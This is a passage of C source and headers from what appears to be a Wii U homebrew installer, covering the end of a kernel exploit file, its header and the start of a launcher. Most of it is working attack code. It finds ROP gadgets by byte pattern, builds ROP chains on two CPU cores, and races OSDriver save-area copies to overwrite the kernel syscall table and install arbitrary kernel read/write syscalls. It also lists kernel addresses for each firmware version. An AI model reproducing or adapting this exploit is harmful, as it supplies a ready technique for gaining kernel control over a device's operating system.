(OSContext*)private_data->MEMAllocFromDefaultHeapEx(0x1000,8); uint32_t *stack = (uint32_t*)private_data->MEMAllocFromDefaultHeapEx(0xa0,0x20); if (!OSCreateThread(thread, (void*)0x11a1dd8, 0, NULL, ((uint32_t)stack) + 0xa0, 0xa0, 0, 0x1 | 0x8)) OSFatal("Failed to create thread"); /* Set up the ROP chain */ thread->gpr[1] = (uint32_t)stack; thread->gpr[3] = kpaddr; thread->gpr[30] = gx2data_addr; thread->gpr[31] = 1; thread->srr0 = ((uint32_t)GX2SetSemaphore) + 0x2C; stack[0x24/4] = r30r31load_addr; /* Load r30/r31 - stack=0x20 */ stack[0x28/4] = gx2data_addr; /* r30 = GX2 data area */ stack[0x2c/4] = 1; /* r31 = 1 (signal) */ stack[0x34/4] = r3r4load_addr; /* Load r3/r4 - stack=0x30 */ stack[0x38/4] = kpaddr; stack[0x44/4] = ((uint32_t)GX2SetSemaphore) + 0x2C; /* GX2SetSemaphore() - stack=0x40 */ stack[0x64/4] = r30r31load_addr; /* Load r30/r31 - stack=0x60 */ stack[0x68/4] = 0x100; /* r30 = r3 of do_flush = 0x100 */ stack[0x6c/4] = 1; /* r31 = r4 of do_flush = 1 */ stack[0x74/4] = doflush_addr; /* do_flush() - stack=0x70 */ stack[0x94/4] = (uint32_t)OSExitThread; DCFlushRange(stack, 0xa0); DCFlushRange(thread, 0x1000); /* Start the thread */ OSResumeThread(thread); /* Wait for a while */ while(OSIsThreadTerminated(thread) == 0) { asm volatile ( " nop\n" " nop\n" " nop\n" " nop\n" " nop\n" " nop\n" " nop\n" " nop\n" ); } /* Free stuff */ private_data->MEMFreeToDefaultHeap(thread); private_data->MEMFreeToDefaultHeap(stack); /* Register a new OSDriver, DRVHAX */ char drvname[8] = {'D', 'R', 'V', 'H', 'A', 'X', '\0'}; Register(drvname, 6, NULL, NULL); /* Modify its save area to point to the kernel syscall table */ drvhax[0x44/4] = KERN_SYSCALL_TBL + (0x34 * 4); /* Use DRVHAX to install the read and write syscalls */ uint32_t syscalls[2] = {KERN_CODE_READ, KERN_CODE_WRITE}; CopyToSaveArea(drvname, 6, syscalls, 8); /* Clean up the heap and driver list so we can exit */ kern_write((void*)(KERN_HEAP + STARTID_OFFSET), 0); kern_write((void*)KERN_DRVPTR, drvhax[0x48/4]); /* Modify the kernel address table and exit */ //kern_write(KERN_ADDRESS_TBL + 0x12, 0x31000000); //kern_write(KERN_ADDRESS_TBL + 0x13, 0x28305800); } #else typedef struct { char *drvb_name; void *copy_payload; void *thread0; void *thread2; uint32_t *rop0; uint32_t *rop2; void (*OSYieldThread)(void); int32_t (*OSResumeThread)(void * thread); uint32_t (*CopyToSaveArea)(char *driver_name, uint32_t name_length, void *buffer, uint32_t length); } thread_data_container_t; static void thread_callback(int argc, void *argv) { thread_data_container_t *container = (thread_data_container_t*)argv; container->OSYieldThread(); /* Schedule both threads for execution */ container->OSResumeThread(container->thread0); container->OSResumeThread(container->thread2); /* Signal the CPU0 and CPU2 threads to begin */ container->rop0[0x1fc/4] = 0; container->rop2[0x1ac/4] = 0; container->OSYieldThread(); container->CopyToSaveArea(container->drvb_name, 4, container->copy_payload, 0x1000); } /* Initial setup code stolen from Pong, makes race much more reliable */ void run_kexploit(private_data_t *private_data) { unsigned int coreinit_handle, sysapp_handle; OSDynLoad_Acquire("coreinit", &coreinit_handle); OSDynLoad_Acquire("sysapp", &sysapp_handle); //needed to not destroy screen doBrowserShutdown(coreinit_handle); //prints out first message as well setupOSScreen(coreinit_handle); if(KERN_SYSCALL_TBL == 0) { printOSScreenMsg(coreinit_handle, "Your kernel version has not been implemented yet.",1); wait(coreinit_handle, 0x3FFFF); exitOSScreen(coreinit_handle); } //OS Memory functions void*(*memset)(void *dest, uint32_t value, uint32_t bytes); void*(*memcpy)(void *dest, void *src, uint32_t length); void*(*OSAllocFromSystem)(uint32_t size, int align); void (*OSFreeToSystem)(void *ptr); void (*DCFlushRange)(void *buffer, uint32_t length); void (*DCInvalidateRange)(void *buffer, uint32_t length); void (*ICInvalidateRange)(void *buffer, uint32_t length); /* OS thread functions */ bool (*OSCreateThread)(void *thread, void *entry, int argc, void *args, uint32_t stack, uint32_t stack_size, int32_t priority, uint16_t attr); int32_t (*OSResumeThread)(void *thread); int32_t (*OSGetThreadPriority)(void *thread); void * (*OSGetCurrentThread)(void); void (*OSYieldThread)(void); int (*OSIsThreadTerminated)(void *thread); /* Exit functions */ void (*__PPCExit)(); void (*_Exit)(); int(*SYSSwitchToBrowser)(void *args); int(*SYSLaunchSettings)(void *args); /* Read the addresses of the functions */ OSDynLoad_FindExport(coreinit_handle, 0, "memset", &memset); OSDynLoad_FindExport(coreinit_handle, 0, "memcpy", &memcpy); OSDynLoad_FindExport(coreinit_handle, 0, "OSAllocFromSystem", &OSAllocFromSystem); OSDynLoad_FindExport(coreinit_handle, 0, "OSFreeToSystem", &OSFreeToSystem); OSDynLoad_FindExport(coreinit_handle, 0, "DCFlushRange", &DCFlushRange); OSDynLoad_FindExport(coreinit_handle, 0, "DCInvalidateRange", &DCInvalidateRange); OSDynLoad_FindExport(coreinit_handle, 0, "ICInvalidateRange", &ICInvalidateRange); OSDynLoad_FindExport(coreinit_handle, 0, "OSCreateThread", &OSCreateThread); OSDynLoad_FindExport(coreinit_handle, 0, "OSResumeThread", &OSResumeThread); OSDynLoad_FindExport(coreinit_handle, 0, "OSGetThreadPriority", &OSGetThreadPriority); OSDynLoad_FindExport(coreinit_handle, 0, "OSGetCurrentThread", &OSGetCurrentThread); OSDynLoad_FindExport(coreinit_handle, 0, "OSYieldThread", &OSYieldThread); OSDynLoad_FindExport(coreinit_handle, 0, "OSIsThreadTerminated", &OSIsThreadTerminated); OSDynLoad_FindExport(coreinit_handle, 0, "__PPCExit", &__PPCExit); OSDynLoad_FindExport(coreinit_handle, 0, "_Exit", &_Exit); OSDynLoad_FindExport(sysapp_handle, 0, "SYSSwitchToBrowser", &SYSSwitchToBrowser); OSDynLoad_FindExport(sysapp_handle, 0, "SYSLaunchSettings", &SYSLaunchSettings); /* Allocate a stack for the threads */ uint32_t stack0 = (uint32_t) private_data->MEMAllocFromDefaultHeapEx(0x300, 0x20); uint32_t stack2 = (uint32_t) private_data->MEMAllocFromDefaultHeapEx(0x300, 0x20); uint32_t stack1 = (uint32_t) private_data->MEMAllocFromDefaultHeapEx(0x300, 0x20); /* Create the threads */ void *thread0 = private_data->MEMAllocFromDefaultHeapEx(OSTHREAD_SIZE, 8); bool ret0 = OSCreateThread(thread0, _Exit, 0, NULL, stack0 + 0x300, 0x300, 0, 1 | 0x10 | 8); void *thread2 = private_data->MEMAllocFromDefaultHeapEx(OSTHREAD_SIZE, 8); bool ret2 = OSCreateThread(thread2, _Exit, 0, NULL, stack2 + 0x300, 0x300, 0, 4 | 0x10 | 8); void *thread1 = private_data->MEMAllocFromDefaultHeapEx(OSTHREAD_SIZE, 8); if (ret0 == false || ret2 == false) { printOSScreenMsg(coreinit_handle, "Failed to create threads! Please try again.",1); wait(coreinit_handle, 0x3FFFF); exitOSScreen(coreinit_handle); } printOSScreenMsg(coreinit_handle, "Running Exploit...",1); /* Find a bunch of gadgets */ uint32_t sleep_addr; OSDynLoad_FindExport(coreinit_handle, 0, "OSSleepTicks", &sleep_addr); sleep_addr += 0x44; uint32_t sigwait[] = {0x801F0000, 0x7C0903A6, 0x4E800421, 0x83FF0004, 0x2C1F0000, 0x4082FFEC, 0x80010014, 0x83E1000C, 0x7C0803A6, 0x38210010, 0x4E800020}; uint32_t sigwait_addr = (uint32_t) find_gadget(sigwait, 0x2c, (uint32_t) __PPCExit); uint32_t r3r4load[] = {0x80610008, 0x8081000C, 0x80010014, 0x7C0803A6, 0x38210010, 0x4E800020}; uint32_t r3r4load_addr = (uint32_t) find_gadget(r3r4load, 0x18, (uint32_t) __PPCExit); uint32_t r5load[] = {0x80A10008, 0x38210010, 0x7CA32B78, 0x80810004, 0x7C8803A6, 0x4E800020}; uint32_t r5load_addr = (uint32_t) find_gadget(r5load, 0x18, (uint32_t) __PPCExit); uint32_t r6load[] = {0x80C10014, 0x90610010, 0x80010010, 0x915E002C, 0x81210008, 0x901E0030, 0x913E0028, 0x90DE0034, 0x80010034, 0x83E1002C, 0x7C0803A6, 0x83C10028, 0x38210030, 0x4E800020}; uint32_t r6load_addr = (uint32_t) find_gadget(r6load, 0x38, (uint32_t) __PPCExit); uint32_t r30r31load[] = {0x80010034, 0x83E1002C, 0x7C0803A6, 0x83C10028, 0x38210030, 0x4E800020}; uint32_t r30r31load_addr = (uint32_t) find_gadget(r30r31load, 0x18, (uint32_t) __PPCExit); /* Find the OSDriver functions */ uint32_t reg[] = {0x38003200, 0x44000002, 0x4E800020}; uint32_t (*Register)(char *driver_name, uint32_t name_length, void *buf1, void *buf2) = find_gadget(reg, 0xc, (uint32_t) __PPCExit); uint32_t dereg[] = {0x38003300, 0x44000002, 0x4E800020}; uint32_t (*Deregister)(char *driver_name, uint32_t name_length) = find_gadget(dereg, 0xc, (uint32_t) __PPCExit); uint32_t copyfrom[] = {0x38004700, 0x44000002, 0x4E800020}; uint32_t (*CopyFromSaveArea)(char *driver_name, uint32_t name_length, void *buffer, uint32_t length) = find_gadget(copyfrom, 0xc, (uint32_t) __PPCExit); uint32_t copyto[] = {0x38004800, 0x44000002, 0x4E800020}; uint32_t (*CopyToSaveArea)(char *driver_name, uint32_t name_length, void *buffer, uint32_t length) = find_gadget(copyto, 0xc, (uint32_t) __PPCExit); /* Set up the ROP chain for CPU0 */ OSContext *ctx0 = (OSContext*) thread0; uint32_t *rop0 = (uint32_t*) stack0; ctx0->gpr[1] = stack0 + 0x80; ctx0->gpr[28] = 0; ctx0->gpr[29] = CPU0_WAIT_TIME * 2; ctx0->gpr[31] = stack0 + 0x1f8; ctx0->srr0 = sigwait_addr + 0xc; rop0[0x94/4] = sleep_addr; rop0[0x114/4] = r3r4load_addr; rop0[0x118/4] = stack0 + 0x208; rop0[0x11c/4] = 4; rop0[0x124/4] = r30r31load_addr; rop0[0x14c/4] = stack0 + 0x220; rop0[0x154/4] = sigwait_addr; rop0[0x164/4] = r5load_addr; rop0[0x168/4] = stack0 + 0x218; rop0[0x174/4] = r3r4load_addr; rop0[0x178/4] = stack0 + 0x210; rop0[0x17c/4] = 4; rop0[0x184/4] = r30r31load_addr; rop0[0x1a8/4] = stack0 + 0x230; rop0[0x1b4/4] = r6load_addr; rop0[0x1c4/4] = stack0 + 0x21c; rop0[0x1dc/4] = stack0 + 0x228; rop0[0x1e4/4] = sigwait_addr; rop0[0x1f4/4] = sigwait_addr + 0x28; rop0[0x1f8/4] = sigwait_addr + 0xc; rop0[0x1fc/4] = stack0 + 0x1f8; rop0[0x200/4] = 0; rop0[0x204/4] = 0; rop0[0x208/4] = 0x44525642; rop0[0x20c/4] = 0; rop0[0x210/4] = 0x44525643; rop0[0x214/4] = 0; rop0[0x218/4] = 0; rop0[0x21c/4] = 0; rop0[0x220/4] = (uint32_t)Deregister; rop0[0x224/4] = 0; rop0[0x228/4] = (uint32_t)Register; rop0[0x22c/4] = 0; /* Set up the ROP chain for CPU2 */ OSContext *ctx2 = (OSContext*) thread2; uint32_t *rop2 = (uint32_t*) stack2; ctx2->gpr[1] = stack2 + 0x80; ctx2->gpr[28] = 0; ctx2->gpr[29] = CPU2_WAIT_TIME * 4; ctx2->gpr[31] = stack2 + 0x1a8; ctx2->srr0 = sigwait_addr + 0xc; rop2[0x94/4] = sleep_addr; rop2[0x114/4] = r5load_addr; rop2[0x118/4] = stack2 + 0x204; rop2[0x124/4] = r3r4load_addr; rop2[0x128/4] = stack2 + 0x1b8; rop2[0x12c/4] = 4; rop2[0x134/4] = r30r31load_addr; rop2[0x158/4] = stack2 + 0x1c8; rop2[0x164/4] = r6load_addr; rop2[0x174/4] = 4; rop2[0x18c/4] = stack2 + 0x1c0; rop2[0x194/4] = sigwait_addr; rop2[0x1a4/4] = sigwait_addr + 0x28; rop2[0x1a8/4] = sigwait_addr + 0xc; rop2[0x1ac/4] = stack2 + 0x1a8; rop2[0x1b0/4] = 0; rop2[0x1b4/4] = 0; rop2[0x1b8/4] = 0x44525641; rop2[0x1bc/4] = 0; rop2[0x1c0/4] = (uint32_t)CopyToSaveArea; rop2[0x1c4/4] = 0; rop2[0x204/4] = 0xDEADC0DE; /* Register driver A and driver B */ char *drva_name = private_data->MEMAllocFromDefaultHeapEx(8, 4); memcpy(drva_name, "DRVA", 5); char *drvb_name = private_data->MEMAllocFromDefaultHeapEx(8, 4); memcpy(drvb_name, "DRVB", 5); uint32_t status = Register(drva_name, 4, NULL, NULL) | Register(drvb_name, 4, NULL, NULL); if (status != 0) { printOSScreenMsg(coreinit_handle, "Register() of driver A and B failed! Reloading kernel...",2); wait(coreinit_handle, 0x3FFFF); callSysExit(coreinit_handle,SYSLaunchSettings); exitOSScreen(coreinit_handle); } /* Generate the copy payload, which writes to syscall_table[0x34] */ uint32_t *copy_payload = OSAllocFromSystem(0x1000, 0x20); if (!copy_payload) { printOSScreenMsg(coreinit_handle, "Failed to allocate payload! Reloading kernel...",2); wait(coreinit_handle, 0x3FFFF); callSysExit(coreinit_handle,SYSLaunchSettings); exitOSScreen(coreinit_handle); } copy_payload[0] = 0x01234567; copy_payload[0xfb4/4] = 0x44525648; copy_payload[0xfb8/4] = 0x41580000; copy_payload[0xff4/4] = PFID_BROWSER; copy_payload[0xff8/4] = KERN_SYSCALL_TBL + (0x34 * 4); DCFlushRange(copy_payload, 0x1000); DCInvalidateRange(copy_payload, 0x1000); char *drvhax_name = private_data->MEMAllocFromDefaultHeapEx(8, 4); drvhax_name[7] = 0; memcpy(drvhax_name, "DRVHAX", 7); uint32_t *syscalls = private_data->MEMAllocFromDefaultHeapEx(8, 4); syscalls[0] = KERN_CODE_READ; syscalls[1] = KERN_CODE_WRITE; /* Do a dummy copy to put CopyToSaveArea() in our cache */ CopyToSaveArea(drvb_name, 4, (void*)0xC0000004, 4); thread_data_container_t container; container.drvb_name = drvb_name; container.copy_payload = copy_payload; container.rop0 = rop0; container.rop2 = rop2; container.thread0 = thread0; container.thread2 = thread2; container.OSResumeThread = OSResumeThread; container.OSYieldThread = OSYieldThread; container.CopyToSaveArea = CopyToSaveArea; bool ret3 = OSCreateThread(thread1, thread_callback, 1, &container, stack1 + 0x300, 0x300, OSGetThreadPriority(OSGetCurrentThread()), 2 | 0x10 | 8); OSYieldThread(); /* Schedule both threads for execution */ //OSResumeThread(thread0); //OSResumeThread(thread2); OSResumeThread(thread1); /* Signal the CPU0 and CPU2 threads to begin */ //rop2[0x1ac/4] = 0; //rop0[0x1fc/4] = 0; /* Start copying the payload into driver B's save area */ //CopyToSaveArea(drvb_name, 4, copy_payload, 0x1000); /* The amount of instructions in this loop and the sleep ticks of the other cores can decide whether its a success or not */ while(OSIsThreadTerminated(thread1) == 0) { asm volatile ( " nop\n" " nop\n" " nop\n" " nop\n" " nop\n" " nop\n" " nop\n" " nop\n" ); OSYieldThread(); } /* Use DRVHAX to install the read and write syscalls */ status = CopyToSaveArea(drvhax_name, 6, syscalls, 8); /* Verify that the syscalls were installed */ uint32_t result = 42; status = CopyFromSaveArea(drvhax_name, 6, &result, 4); if (result != KERN_CODE_READ) { printOSScreenMsg(coreinit_handle, "Race attack failed! Reloading kernel...",2); wait(coreinit_handle, 0x3FFFF); callSysExit(coreinit_handle,SYSLaunchSettings); exitOSScreen(coreinit_handle); } /* Search the kernel heap for DRVA and DRVHAX */ uint32_t drva_addr = 0, drvhax_addr = 0; uint32_t metadata_addr = KERN_HEAP + 0x14 + (kern_read((void*)(KERN_HEAP + 0x0c)) * 0x10); while (metadata_addr >= KERN_HEAP + 0x14) { /* Read the data address from the metadata, then read the data */ uint32_t data_addr = kern_read((void*)metadata_addr); uint32_t data = kern_read((void*)data_addr); /* Check for DRVA or DRVHAX, and if both are found, break */ if (data == 0x44525641) drva_addr = data_addr; else if (data == 0x44525648) drvhax_addr = data_addr; if (drva_addr && drvhax_addr) break; /* Go to the previous metadata entry */ metadata_addr -= 0x10; } if (!(drva_addr && drvhax_addr)) { printOSScreenMsg(coreinit_handle, "Failed to find DRVA or DRVHAX! Reloading kernel...",2); wait(coreinit_handle, 0x3FFFF); callSysExit(coreinit_handle,SYSLaunchSettings); exitOSScreen(coreinit_handle); } /* Make DRVHAX point to DRVA to ensure a clean exit */ kern_write((void*)(drvhax_addr + 0x48), drva_addr); private_data->MEMFreeToDefaultHeap(thread0); private_data->MEMFreeToDefaultHeap(thread1); private_data->MEMFreeToDefaultHeap(thread2); private_data->MEMFreeToDefaultHeap((void*)stack0); private_data->MEMFreeToDefaultHeap((void*)stack1); private_data->MEMFreeToDefaultHeap((void*)stack2); //printOSScreenMsg(coreinit_handle, "Success! Re-launch HBL again...",2); //wait(coreinit_handle, 0x3FFFF); //callSysExit(coreinit_handle,SYSSwitchToBrowser); //exitOSScreen(coreinit_handle); } #endif void wait(unsigned int coreinit_handle, unsigned int t) { void (*OSYieldThread)(void); OSDynLoad_FindExport(coreinit_handle, 0, "OSYieldThread", &OSYieldThread); while(t--) { OSYieldThread(); } } void doBrowserShutdown(unsigned int coreinit_handle) { void*(*memset)(void *dest, uint32_t value, uint32_t bytes); void*(*OSAllocFromSystem)(uint32_t size, int align); void (*OSFreeToSystem)(void *ptr); int(*IM_SetDeviceState)(int fd, void *mem, int state, int a, int b); int(*IM_Close)(int fd); int(*IM_Open)(); OSDynLoad_FindExport(coreinit_handle, 0, "memset", &memset); OSDynLoad_FindExport(coreinit_handle, 0, "OSAllocFromSystem", &OSAllocFromSystem); OSDynLoad_FindExport(coreinit_handle, 0, "OSFreeToSystem", &OSFreeToSystem); OSDynLoad_FindExport(coreinit_handle, 0, "IM_SetDeviceState", &IM_SetDeviceState); OSDynLoad_FindExport(coreinit_handle, 0, "IM_Close", &IM_Close); OSDynLoad_FindExport(coreinit_handle, 0, "IM_Open", &IM_Open); //Restart system to get lib access int fd = IM_Open(); void *mem = OSAllocFromSystem(0x100, 64); memset(mem, 0, 0x100); //set restart flag to force quit browser IM_SetDeviceState(fd, mem, 3, 0, 0); IM_Close(fd); OSFreeToSystem(mem); //wait a bit for browser end wait(coreinit_handle, 0x3FFFF); } void drawString(unsigned int coreinit_handle, int x, int y, char * string) { unsigned int(*OSScreenPutFontEx)(unsigned int bufferNum, unsigned int posX, unsigned int posY, void * buffer); OSDynLoad_FindExport(coreinit_handle, 0, "OSScreenPutFontEx", &OSScreenPutFontEx); OSScreenPutFontEx(0, x, y, string); OSScreenPutFontEx(1, x, y, string); } void fillScreen(unsigned int coreinit_handle, char r,char g,char b,char a) { unsigned int(*OSScreenClearBufferEx)(unsigned int bufferNum, unsigned int temp); OSDynLoad_FindExport(coreinit_handle, 0, "OSScreenClearBufferEx", &OSScreenClearBufferEx); uint32_t num = (r << 24) | (g << 16) | (b << 8) | a; OSScreenClearBufferEx(0, num); OSScreenClearBufferEx(1, num); } void flipBuffers(unsigned int coreinit_handle) { void(*DCFlushRange)(void *buffer, uint32_t length); unsigned int(*OSScreenFlipBuffersEx)(unsigned int bufferNum); OSDynLoad_FindExport(coreinit_handle, 0, "DCFlushRange", &DCFlushRange); OSDynLoad_FindExport(coreinit_handle, 0, "OSScreenFlipBuffersEx", &OSScreenFlipBuffersEx); unsigned int(*OSScreenGetBufferSizeEx)(unsigned int bufferNum); OSDynLoad_FindExport(coreinit_handle, 0, "OSScreenGetBufferSizeEx", &OSScreenGetBufferSizeEx); //Grab the buffer size for each screen (TV and gamepad) int buf0_size = OSScreenGetBufferSizeEx(0); int buf1_size = OSScreenGetBufferSizeEx(1); //Flush the cache DCFlushRange((void *)0xF4000000 + buf0_size, buf1_size); DCFlushRange((void *)0xF4000000, buf0_size); //Flip the buffer OSScreenFlipBuffersEx(0); OSScreenFlipBuffersEx(1); } void printOSScreenMsg(unsigned int coreinit_handle, char *buf,unsigned int pos) { int i; for(i=0;i<2;i++) { fillScreen(coreinit_handle, 0,0,0,0); drawString(coreinit_handle, 0,pos,buf); flipBuffers(coreinit_handle); } } void setupOSScreen(unsigned int coreinit_handle) { void(*OSScreenInit)(); unsigned int(*OSScreenGetBufferSizeEx)(unsigned int bufferNum); unsigned int(*OSScreenSetBufferEx)(unsigned int bufferNum, void * addr); OSDynLoad_FindExport(coreinit_handle, 0, "OSScreenInit", &OSScreenInit); OSDynLoad_FindExport(coreinit_handle, 0, "OSScreenGetBufferSizeEx", &OSScreenGetBufferSizeEx); OSDynLoad_FindExport(coreinit_handle, 0, "OSScreenSetBufferEx", &OSScreenSetBufferEx); //Call the Screen initilzation function. OSScreenInit(); //Grab the buffer size for each screen (TV and gamepad) int buf0_size = OSScreenGetBufferSizeEx(0); int buf1_size = OSScreenGetBufferSizeEx(1); //Set the buffer area. OSScreenSetBufferEx(0, (void *)0xF4000000); OSScreenSetBufferEx(1, (void *)0xF4000000 + buf0_size); //Clear both framebuffers. int ii; for (ii = 0; ii < 2; ii++) { fillScreen(coreinit_handle, 0,0,0,0); flipBuffers(coreinit_handle); } printOSScreenMsg(coreinit_handle, "OSDriver Kernel Exploit",0); } void exitOSScreen(unsigned int coreinit_handle) { void (*_Exit)(); OSDynLoad_FindExport(coreinit_handle, 0, "_Exit", &_Exit); //exit only works like this int ii; for(ii = 0; ii < 2; ii++) { fillScreen(coreinit_handle, 0,0,0,0); flipBuffers(coreinit_handle); } _Exit(); } void callSysExit(unsigned int coreinit_handle, void *sysFunc) { void*(*OSAllocFromSystem)(uint32_t size, int align); bool (*OSCreateThread)(void *thread, void *entry, int argc, void *args, uint32_t stack, uint32_t stack_size, int32_t priority, uint16_t attr); int32_t (*OSResumeThread)(void *thread); int (*OSIsThreadTerminated)(void *thread); OSDynLoad_FindExport(coreinit_handle, 0, "OSAllocFromSystem", &OSAllocFromSystem); OSDynLoad_FindExport(coreinit_handle, 0, "OSCreateThread", &OSCreateThread); OSDynLoad_FindExport(coreinit_handle, 0, "OSResumeThread", &OSResumeThread); OSDynLoad_FindExport(coreinit_handle, 0, "OSIsThreadTerminated", &OSIsThreadTerminated); uint32_t stack1 = (uint32_t) OSAllocFromSystem(0x300, 0x20); void *thread1 = OSAllocFromSystem(OSTHREAD_SIZE, 8); OSCreateThread(thread1, sysFunc, 0, NULL, stack1 + 0x300, 0x300, 0, 0x1A); OSResumeThread(thread1); while(OSIsThreadTerminated(thread1) == 0) { asm volatile ( " nop\n" " nop\n" " nop\n" " nop\n" " nop\n" " nop\n" " nop\n" " nop\n" ); } } /* Simple memcmp() implementation */ int memcmp(void *ptr1, void *ptr2, uint32_t length) { uint8_t *check1 = (uint8_t*) ptr1; uint8_t *check2 = (uint8_t*) ptr2; uint32_t i; for (i = 0; i < length; i++) { if (check1[i] != check2[i]) return 1; } return 0; } void* memcpy(void* dst, const void* src, uint32_t size) { uint32_t i; for (i = 0; i < size; i++) ((uint8_t*) dst)[i] = ((const uint8_t*) src)[i]; return dst; } /* Find a gadget based on a sequence of words */ void *find_gadget(uint32_t code[], uint32_t length, uint32_t gadgets_start) { uint32_t *ptr; /* Search code before JIT area first */ for (ptr = (uint32_t*) gadgets_start; ptr != (uint32_t*) JIT_ADDRESS; ptr++) { if (!memcmp(ptr, &code[0], length)) return ptr; } /* Restart search after JIT */ for (ptr = (uint32_t*) CODE_ADDRESS_START; ptr != (uint32_t*) CODE_ADDRESS_END; ptr++) { if (!memcmp(ptr, &code[0], length)) return ptr; } OSFatal("Gadget not found!"); return (void*)0; } /* Read a 32-bit word with kernel permissions */ uint32_t __attribute__ ((noinline)) kern_read(const void *addr) { uint32_t result; asm volatile ( "li 3,1\n" "li 4,0\n" "li 5,0\n" "li 6,0\n" "li 7,0\n" "lis 8,1\n" "mr 9,%1\n" "li 0,0x3400\n" "mr %0,1\n" "sc\n" "nop\n" "mr 1,%0\n" "mr %0,3\n" : "=r"(result) : "b"(addr) : "memory", "ctr", "lr", "0", "3", "4", "5", "6", "7", "8", "9", "10", "11", "12" ); return result; } /* Write a 32-bit word with kernel permissions */ void __attribute__ ((noinline)) kern_write(void *addr, uint32_t value) { asm volatile ( "li 3,1\n" "li 4,0\n" "mr 5,%1\n" "li 6,0\n" "li 7,0\n" "lis 8,1\n" "mr 9,%0\n" "mr %1,1\n" "li 0,0x3500\n" "sc\n" "nop\n" "mr 1,%1\n" : : "r"(addr), "r"(value) : "memory", "ctr", "lr", "0", "3", "4", "5", "6", "7", "8", "9", "10", "11", "12" ); } ================================================ FILE: installer/kexploit.h ================================================ #ifndef KEXPLOIT_H #define KEXPLOIT_H #include "structs.h" #include "types.h" #include "coreinit.h" #include "socket.h" /* Wait times for CPU0 and CPU2 */ #define CPU0_WAIT_TIME 80 #define CPU2_WAIT_TIME 92 /* Gadget finding addresses */ #define JIT_ADDRESS 0x01800000 #if (VER == 300 || VER == 310) #define CODE_ADDRESS_START 0x0E000000 #define CODE_ADDRESS_END 0x10000000 #else #define CODE_ADDRESS_START 0x0D800000 #define CODE_ADDRESS_END 0x0F848A0C #endif /* Kernel addresses, stolen from Chadderz */ #define KERN_HEAP 0xFF200000 #define KERN_HEAP_PHYS 0x1B800000 #if VER == 200 #define KERN_SYSCALL_TBL 0xFFE85910 #define KERN_CODE_READ 0xFFF02214 #define KERN_CODE_WRITE 0xFFF02234 #define KERN_ADDRESS_TBL 0xFFEB4E00 #define KERN_DRVPTR 0x00000000 #elif VER == 210 #define KERN_SYSCALL_TBL 0xFFE85910 #define KERN_CODE_READ 0xFFF02214 #define KERN_CODE_WRITE 0xFFF02234 #define KERN_ADDRESS_TBL 0xFFEB4E40 #define KERN_DRVPTR 0x00000000 #elif VER == 300 #define KERN_SYSCALL_TBL 0xFFE85950 #define KERN_CODE_READ 0xFFF02214 #define KERN_CODE_WRITE 0xFFF02234 #define KERN_ADDRESS_TBL 0xFFEB66E4 #define KERN_DRVPTR 0x00000000 #elif VER == 310 #define KERN_SYSCALL_TBL 0xFFE85950 #define KERN_CODE_READ 0xFFF02214 #define KERN_CODE_WRITE 0xFFF02234 #define KERN_ADDRESS_TBL 0xFFEB66E4 #define KERN_DRVPTR 0x00000000 #elif VER == 400 #define KERN_SYSCALL_TBL 0xFFE85890 #define KERN_CODE_READ 0xFFF02214 #define KERN_CODE_WRITE 0xFFF02234 #define KERN_ADDRESS_TBL 0xFFEB7E5C #define KERN_DRVPTR 0x00000000 #elif VER == 410 #define KERN_SYSCALL_TBL 0xffe85890 #define KERN_CODE_READ 0xfff02214 #define KERN_CODE_WRITE 0xfff02234 #define KERN_ADDRESS_TBL 0xffeb902c #define KERN_DRVPTR 0x00000000 #elif VER == 500 #define KERN_SYSCALL_TBL 0xffea9520 #define KERN_CODE_READ 0xfff021f4 #define KERN_CODE_WRITE 0xfff02214 #define KERN_ADDRESS_TBL 0xffea9e4c #define KERN_DRVPTR 0x00000000 #elif (VER == 532) || (VER == 540) #define KERN_SYSCALL_TBL 0xFFEAA0E0 #define KERN_CODE_READ 0xFFF02274 #define KERN_CODE_WRITE 0xFFF02294 #define KERN_ADDRESS_TBL 0xFFEAAA10 #define KERN_DRVPTR (KERN_ADDRESS_TBL - 0x270) #elif VER == 550 #define KERN_SYSCALL_TBL 0xFFEAAE60 #define KERN_CODE_READ 0xFFF023D4 #define KERN_CODE_WRITE 0xFFF023F4 #define KERN_ADDRESS_TBL 0xFFEAB7A0 #define KERN_DRVPTR (KERN_ADDRESS_TBL - 0x270) #else #error "Unsupported Wii U software version" #endif /* Browser PFID */ #define PFID_BROWSER 8 /* Kernel heap constants */ #define STARTID_OFFSET 0x08 #define METADATA_OFFSET 0x14 #define METADATA_SIZE 0x10 /* Size of a Cafe OS thread */ #define OSTHREAD_SIZE 0x1000 void run_kexploit(private_data_t *private_data); /* Find a ROP gadget by a sequence of bytes */ void *find_gadget(uint32_t code[], uint32_t length, uint32_t gadgets_start); /* Arbitrary read and write syscalls */ uint32_t __attribute__ ((noinline)) kern_read(const void *addr); void __attribute__ ((noinline)) kern_write(void *addr, uint32_t value); #endif /* KEXPLOIT_H */ ================================================ FILE: installer/launcher.c ================================================ #include "types.h" #include "elf_abi.h" #include "kexploit.h" #include "structs.h" #include "sd_loader.h" #define MEM_BASE 0xC0800000 #include "../src/common/common.h" #include "../src/common/os_defs.h" #include "coreinit.h" //! this shouldnt depend on OS #define LIB_CODE_RW_BASE_OFFSET 0xC1000000 #define CODE_RW_BASE_OFFSET 0xC0000000 #define DATA_RW_BASE_OFFSET 0xC0000000 #if ( (VER == 532) || (VER == 540) ) #define ADDRESS_OSTitle_main_entry_ptr 0x1005d180 #define ADDRESS_main_entry_hook 0x0101c55c #define KERN_SYSCALL_TBL_1 0xFFE84C70 // unknown #define KERN_SYSCALL_TBL_2 0xFFE85070 // works with games #define KERN_SYSCALL_TBL_3 0xFFE85470 // works with loader #define KERN_SYSCALL_TBL_4 0xFFEA9CE0 // works with home menu #define KERN_SYSCALL_TBL_5 0xFFEAA0E0 // works with browser (previously KERN_SYSCALL_TBL) #elif ( (VER == 500) || (VER == 510) ) #define ADDRESS_OSTitle_main_entry_ptr 0x1005CB00 #define ADDRESS_main_entry_hook 0x0101C15C #define KERN_SYSCALL_TBL_1 0xFFE84C70 // unknown #define KERN_SYSCALL_TBL_2 0xFFE85070 // works with games #define KERN_SYSCALL_TBL_3 0xFFE85470 // works with loader #define KERN_SYSCALL_TBL_4 0xFFEA9120 // works with home menu #define KERN_SYSCALL_TBL_5 0xFFEA9520 // works with browser (previously KERN_SYSCALL_TBL) #elif (VER == 550) #define ADDRESS_OSTitle_main_entry_ptr 0x1005E040 #define ADDRESS_main_entry_hook 0x0101c56c #define KERN_SYSCALL_TBL_1 0xFFE84C70 // unknown #define KERN_SYSCALL_TBL_2 